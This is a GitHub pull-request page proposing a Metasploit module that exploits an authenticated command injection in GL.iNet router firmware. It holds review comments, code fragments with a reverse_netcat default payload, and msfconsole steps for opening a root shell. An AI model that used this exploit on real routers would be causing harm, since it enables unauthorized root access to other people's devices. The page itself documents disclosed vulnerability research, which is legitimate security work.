Add GL.iNet plugin handler authenticated RCE (CVE-2025-67089) - #21819
Add GL.iNet plugin handler authenticated RCE (CVE-2025-67089)#21819AleksaZatezalo wants to merge 1 commit into
Conversation
|
Hi @AleksaZatezalo, could you clarify the benefit of this authenticated RCE considering it requires root access to be triggered? wouldn't be easier for an attacker to just ssh into the router? even if the SSH is disabled, an administrator user can log into the luci panel (under advanced options) and perform any sort privileged operation. thanks for the clarification. |
|
Hi @dledda-r7 , fair question. This module is meant to chain with CVE-2025-67090 (no rate limiting on LuCI login). So the realistic path is unauthenticated credential recovery → this module, not "attacker already has creds." Anyone with a valid set of credentials that is able to access the plugin login functionality should be execute this exploit - not just root. I intend to create a module for CVE-2025-67090 called |
Can you please clarify "Anyone with a valid set of credentials that is able to access the plugin login functionality should be execute this exploit - not just root."? as far as i know the vast majority of openwrt installations are single user, which is root, so having the root credentials already give you the highest privilege on the system, in which case someone, that has access to luci, with root, should use this module? |
| } | ||
| ] | ||
| ], | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }, # rubocop:disable Lint/ModuleDefaultPayload -- backtick injection primitive requires a single-command payload; reverse_netcat is the most portable across busybox targets |
There was a problem hiding this comment.
Let's confirm what framework defaults this command to and what we can do to make sure we select a valid payload for this scenario
|
|
||
| register_options([ | ||
| Opt::RPORT(80), | ||
| OptString.new('USERNAME', [true, 'Admin username', 'root']), |
There was a problem hiding this comment.
is root always a valid username?
| 'jsonrpc' => '2.0', | ||
| 'id' => 0, | ||
| 'method' => 'challenge', | ||
| 'params' => { 'username' => 'root' } |
There was a problem hiding this comment.
should this use the USERNAME datastore option, alternatively this is fine if root is guaranteed to exist
| CheckCode::Detected('Target exposes a GL.iNet RPC challenge endpoint; ' \ | ||
| 'firmware version cannot be verified without credentials') | ||
| else | ||
| CheckCode::Unknown('Endpoint responded but did not return a valid challenge') |
There was a problem hiding this comment.
I"m not sure Unknown is the correct response here, I'll leave this up to the reviewer to confirm, potentially we can do the check in stages i.e. check can we connect, is it just openwrt or specifically glinet, is it the right version just as an idea
| username = datastore['USERNAME'] | ||
| password = datastore['PASSWORD'] | ||
|
|
||
| print_status("Target: #{rhost}:#{rport}") |
There was a problem hiding this comment.
| print_status("Target: #{rhost}:#{rport}") |
| 'cookie' => "Admin-Token=#{@session_id}", | ||
| 'data' => { | ||
| 'jsonrpc' => '2.0', | ||
| 'id' => 99, |
There was a problem hiding this comment.
what's the purpose of these ids?
| 'method' => 'call', | ||
| 'params' => [@session_id, 'session', 'destroy', {}] | ||
| }.to_json | ||
| }, 5) |
There was a problem hiding this comment.
Do we need to specify the timeout here? can we leave it off?
Description
Adds
exploit/linux/http/glinet_plugin_handler_rce, a module exploitingCVE-2025-67089 — an authenticated OS command injection vulnerability in
the
plugins install_packageRPC method of GL.iNet routers runningfirmware < 4.6.8.
The RPC method passes user-supplied package name input unsanitized into a
shell command. An authenticated administrator session (obtained via the
router's standard challenge/response login) can therefore inject arbitrary
shell commands that execute as root.
This is one module in a three-CVE chain discovered during original
research on the GL.iNet GL-AXT1800:
brute-forcing (companion module:
auxiliary/scanner/http/glinet_login)The vulnerability was responsibly disclosed to GL.iNet and is patched in
firmware 4.8.2 (December 2025).
Related Issue:
Breaking Changes
None — new module, no existing behavior touched.
Verification
msftidypasses with no warnings or errorsrubocoppasses with no offensesvalid admin credentials — authenticates, injects
cmd/unix/reverse_netcat,and opens a root shell session
Failure::NoAccess("Authentication failed - check credentials"), no session created
Steps to reproduce
msf6 > use exploit/linux/http/glinet_plugin_handler_rce
msf6 exploit(glinet_plugin_handler_rce) > set RHOSTS
msf6 exploit(glinet_plugin_handler_rce) > set USERNAME root
msf6 exploit(glinet_plugin_handler_rce) > set PASSWORD
msf6 exploit(glinet_plugin_handler_rce) > set LHOST
msf6 exploit(glinet_plugin_handler_rce) > run this section if not needed. -->
Test Evidence